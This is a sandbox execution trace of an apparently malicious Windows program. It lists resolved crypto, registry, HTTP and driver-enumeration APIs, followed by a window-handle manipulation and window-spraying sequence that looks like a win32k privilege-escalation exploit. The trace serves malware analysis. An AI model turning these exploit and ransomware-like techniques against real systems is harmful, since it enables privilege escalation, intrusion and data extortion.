	[0073.699] GetProcAddress (hModule=0x74d70000, lpProcName="LoadCursorW") returned 0x74d87740
	[0073.699] GetProcAddress (hModule=0x74d70000, lpProcName="BeginPaint") returned 0x74da4ea0
	[0073.699] GetProcAddress (hModule=0x74d70000, lpProcName="FillRect") returned 0x74d92bb0
	[0073.699] GetProcAddress (hModule=0x74d70000, lpProcName="TranslateMessage") returned 0x74d8b9d0
	[0073.700] GetProcAddress (hModule=0x74d70000, lpProcName="RegisterClassExW") returned 0x74d88ee0
	[0073.700] GetProcAddress (hModule=0x74d70000, lpProcName="SetWindowLongW") returned 0x74c72130
	[0073.700] GetProcAddress (hModule=0x74d70000, lpProcName="MessageBoxA") returned 0x74decf50
	[0073.700] GetProcAddress (hModule=0x74d70000, lpProcName="wsprintfA") returned 0x74d9ea00
	[0073.700] GetProcAddress (hModule=0x74d70000, lpProcName="SystemParametersInfoW") returned 0x74d8bea0
	[0073.700] GetProcAddress (hModule=0x74d70000, lpProcName="ShowWindow") returned 0x74da52a0
	[0073.700] GetProcAddress (hModule=0x74d70000, lpProcName="CreateWindowExW") returned 0x74d891c0
	[0073.700] GetProcAddress (hModule=0x74d70000, lpProcName="SendMessageW") returned 0x74d838f0
	[0073.700] GetProcAddress (hModule=0x74d70000, lpProcName="DispatchMessageW") returned 0x74d83e40
	[0073.700] GetProcAddress (hModule=0x74d70000, lpProcName="DefWindowProcW") returned 0x74c71160
	[0073.701] GetProcAddress (hModule=0x74d70000, lpProcName="UpdateWindow") returned 0x74d97020
	[0073.701] GetProcAddress (hModule=0x74d70000, lpProcName="GetForegroundWindow") returned 0x74da50f0
	[0073.701] GetProcAddress (hModule=0x74d70000, lpProcName="CharUpperBuffW") returned 0x74da3140
	[0073.701] GetProcAddress (hModule=0x74d70000, lpProcName="wsprintfW") returned 0x74d9ddf0
	[0073.701] GetProcAddress (hModule=0x74d70000, lpProcName="LoadIconW") returned 0x74d87710
	[0073.701] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x76ca0000
	[0073.701] GetProcAddress (hModule=0x76ca0000, lpProcName="DeleteObject") returned 0x76d20050
	[0073.703] GetProcAddress (hModule=0x76ca0000, lpProcName="SelectObject") returned 0x76d1fc80
	[0073.703] GetProcAddress (hModule=0x76ca0000, lpProcName="CreateCompatibleDC") returned 0x74c717b0
	[0073.703] GetProcAddress (hModule=0x76ca0000, lpProcName="CreateCompatibleBitmap") returned 0x74c71750
	[0073.703] GetProcAddress (hModule=0x76ca0000, lpProcName="SetPixel") returned 0x76d51710
	[0073.703] GetProcAddress (hModule=0x76ca0000, lpProcName="GetObjectW") returned 0x76d22220
	[0073.703] GetProcAddress (hModule=0x76ca0000, lpProcName="GetPixel") returned 0x76d4fdf0
	[0073.703] GetProcAddress (hModule=0x76ca0000, lpProcName="GetStockObject") returned 0x76d225e0
	[0073.703] GetProcAddress (hModule=0x76ca0000, lpProcName="TextOutW") returned 0x76d4a630
	[0073.704] GetProcAddress (hModule=0x76ca0000, lpProcName="SetBkColor") returned 0x76d21da0
	[0073.704] GetProcAddress (hModule=0x76ca0000, lpProcName="GetDIBits") returned 0x76d20dc0
	[0073.704] GetProcAddress (hModule=0x76ca0000, lpProcName="GetDeviceCaps") returned 0x74c71080
	[0073.704] GetProcAddress (hModule=0x76ca0000, lpProcName="DeleteDC") returned 0x76d20550
	[0073.704] GetProcAddress (hModule=0x76ca0000, lpProcName="CreateFontW") returned 0x76d4deb0
	[0073.704] GetProcAddress (hModule=0x76ca0000, lpProcName="SetTextColor") returned 0x76d21c80
	[0073.704] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77990000
	[0074.384] GetProcAddress (hModule=0x77990000, lpProcName="RegCreateKeyExW") returned 0x779af550
	[0074.384] GetProcAddress (hModule=0x77990000, lpProcName="RegCloseKey") returned 0x779aefa0
	[0074.384] GetProcAddress (hModule=0x77990000, lpProcName="RegSetValueExW") returned 0x779af0a0
	[0074.384] GetProcAddress (hModule=0x77990000, lpProcName="OpenProcessToken") returned 0x779aee90
	[0074.385] GetProcAddress (hModule=0x77990000, lpProcName="GetSidSubAuthority") returned 0x779b0ea0
	[0074.385] GetProcAddress (hModule=0x77990000, lpProcName="GetSidSubAuthorityCount") returned 0x779b0f50
	[0074.385] GetProcAddress (hModule=0x77990000, lpProcName="GetTokenInformation") returned 0x779aed40
	[0074.385] GetProcAddress (hModule=0x77990000, lpProcName="CryptExportKey") returned 0x779af8f0
	[0074.385] GetProcAddress (hModule=0x77990000, lpProcName="CryptAcquireContextW") returned 0x779b0730
	[0074.385] GetProcAddress (hModule=0x77990000, lpProcName="CryptGetKeyParam") returned 0x779c5c90
	[0074.385] GetProcAddress (hModule=0x77990000, lpProcName="CryptReleaseContext") returned 0x779b0ad0
	[0074.385] GetProcAddress (hModule=0x77990000, lpProcName="CryptImportKey") returned 0x779af890
	[0074.385] GetProcAddress (hModule=0x77990000, lpProcName="CryptEncrypt") returned 0x779c5bd0
	[0074.385] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenKey") returned 0x779b3fd0
	[0074.386] GetProcAddress (hModule=0x77990000, lpProcName="CryptDestroyKey") returned 0x779afc10
	[0074.386] GetProcAddress (hModule=0x77990000, lpProcName="RegQueryValueExW") returned 0x779aed60
	[0074.386] GetProcAddress (hModule=0x77990000, lpProcName="RegOpenKeyExW") returned 0x779aed80
	[0074.386] GetProcAddress (hModule=0x77990000, lpProcName="AllocateAndInitializeSid") returned 0x779af0c0
	[0074.386] GetProcAddress (hModule=0x77990000, lpProcName="FreeSid") returned 0x779b04a0
	[0074.386] GetProcAddress (hModule=0x77990000, lpProcName="GetUserNameW") returned 0x779b0ee0
	[0074.386] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x755b0000
	[0079.861] GetProcAddress (hModule=0x755b0000, lpProcName="SHGetSpecialFolderPathW") returned 0x7573edb0
	[0079.861] GetProcAddress (hModule=0x755b0000, lpProcName="ShellExecuteW") returned 0x75744370
	[0079.861] GetProcAddress (hModule=0x755b0000, lpProcName="ShellExecuteExW") returned 0x75744cb0
	[0079.861] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x74eb0000
	[0080.401] GetProcAddress (hModule=0x74eb0000, lpProcName="CryptBinaryToStringA") returned 0x74ed2290
	[0080.401] GetProcAddress (hModule=0x74eb0000, lpProcName="CryptStringToBinaryA") returned 0x74ef8040
	[0080.401] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x74820000
	[0080.703] GetProcAddress (hModule=0x74820000, lpProcName="InternetCloseHandle") returned 0x748a2410
	[0080.703] GetProcAddress (hModule=0x74820000, lpProcName="HttpAddRequestHeadersW") returned 0x748ef750
	[0080.703] GetProcAddress (hModule=0x74820000, lpProcName="HttpSendRequestW") returned 0x74894510
	[0080.703] GetProcAddress (hModule=0x74820000, lpProcName="InternetConnectW") returned 0x748bb650
	[0080.703] GetProcAddress (hModule=0x74820000, lpProcName="HttpOpenRequestW") returned 0x748e9fd0
	[0080.703] GetProcAddress (hModule=0x74820000, lpProcName="InternetOpenW") returned 0x74892460
	[0080.703] GetProcAddress (hModule=0x74820000, lpProcName="InternetReadFile") returned 0x748911e0
	[0080.703] LoadLibraryA (lpLibFileName="PSAPI.DLL") returned 0x773d0000
	[0080.734] GetProcAddress (hModule=0x773d0000, lpProcName="EnumDeviceDrivers") returned 0x773d1380
	[0080.734] GetProcAddress (hModule=0x773d0000, lpProcName="GetDeviceDriverBaseNameW") returned 0x773d13e0
	[0080.734] NtFlushInstructionCache (ProcessHandle=0xffffffff, BaseAddress=0x0, NumberOfBytesToFlush=0x0) returned 0x0
	[0080.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xce54e0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x210
	[0080.735] CloseHandle (hObject=0x210) returned 1
	[0080.735] VirtualProtect (in: lpAddress=0x414250, dwSize=0x13000, flNewProtect=0x40, lpflOldProtect=0x19f234 | out: lpflOldProtect=0x19f234*=0x40) returned 1
	[0080.735] RtlExitUserThread (Status=0x0) 

Thread:
	id = 22
	os_tid = 0xf00


Thread:
	id = 23
	os_tid = 0xf84

	[0072.440] CreateWindowExW (dwExStyle=0x0, lpClassName="#32768", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x401c0
	[0072.444] @HMValidateHandle@8 () returned 0x10525e0
	[0072.444] GetWindowLongW (hWnd=0x401c0, nIndex=-16) returned 79691776
	[0072.444] SetWindowLongW (hWnd=0x401c0, nIndex=-16, dwNewLong=1153433600) returned 79691776
	[0072.446] KiSystemCall64 (syscall_number=0x1471) 
	[0072.446] KiSystemCall64 (syscall_number=0x1470) 
	[0072.446] KiSystemCall64 (syscall_number=0x146f) 
	[0072.446] KiSystemCall64 (syscall_number=0x146e) 
	[0072.446] KiSystemCall64 (syscall_number=0x146d) 
	[0072.446] KiSystemCall64 (syscall_number=0x146c) 
	[0072.446] KiSystemCall64 (syscall_number=0x146b) 
	[0072.446] KiSystemCall64 (syscall_number=0x146a) 
	[0072.446] NtUserSetWindowLongPtr () returned 0x0
	[0072.446] DestroyWindow (hWnd=0x401c0) returned 1
	[0072.447] RegisterClassExW (param_1=0x253f348) returned 0xc165
	[0072.447] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x501c0
	[0072.450] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0xc01fe
	[0072.451] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x60164
	[0072.452] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x40234
	[0072.453] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x60168
	[0072.455] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x800ec
	[0072.456] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x40202
	[0072.457] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x40204
	[0072.459] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x60162
	[0072.460] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x701fc
	[0072.461] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x2020a
	[0072.462] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20230
	[0072.464] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20232
	[0072.465] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20224
	[0072.467] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20226
	[0072.468] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20220
	[0072.469] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20222
	[0072.470] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x2021c
	[0072.471] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x2021e
	[0072.472] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20218
	[0072.473] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x2021a
	[0072.474] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20214
	[0072.476] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20216
	[0072.477] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20210
	[0072.478] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20212
	[0072.479] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20208
	[0072.480] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20206
	[0072.482] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20236
	[0072.483] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x30228
	[0072.484] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x2022a
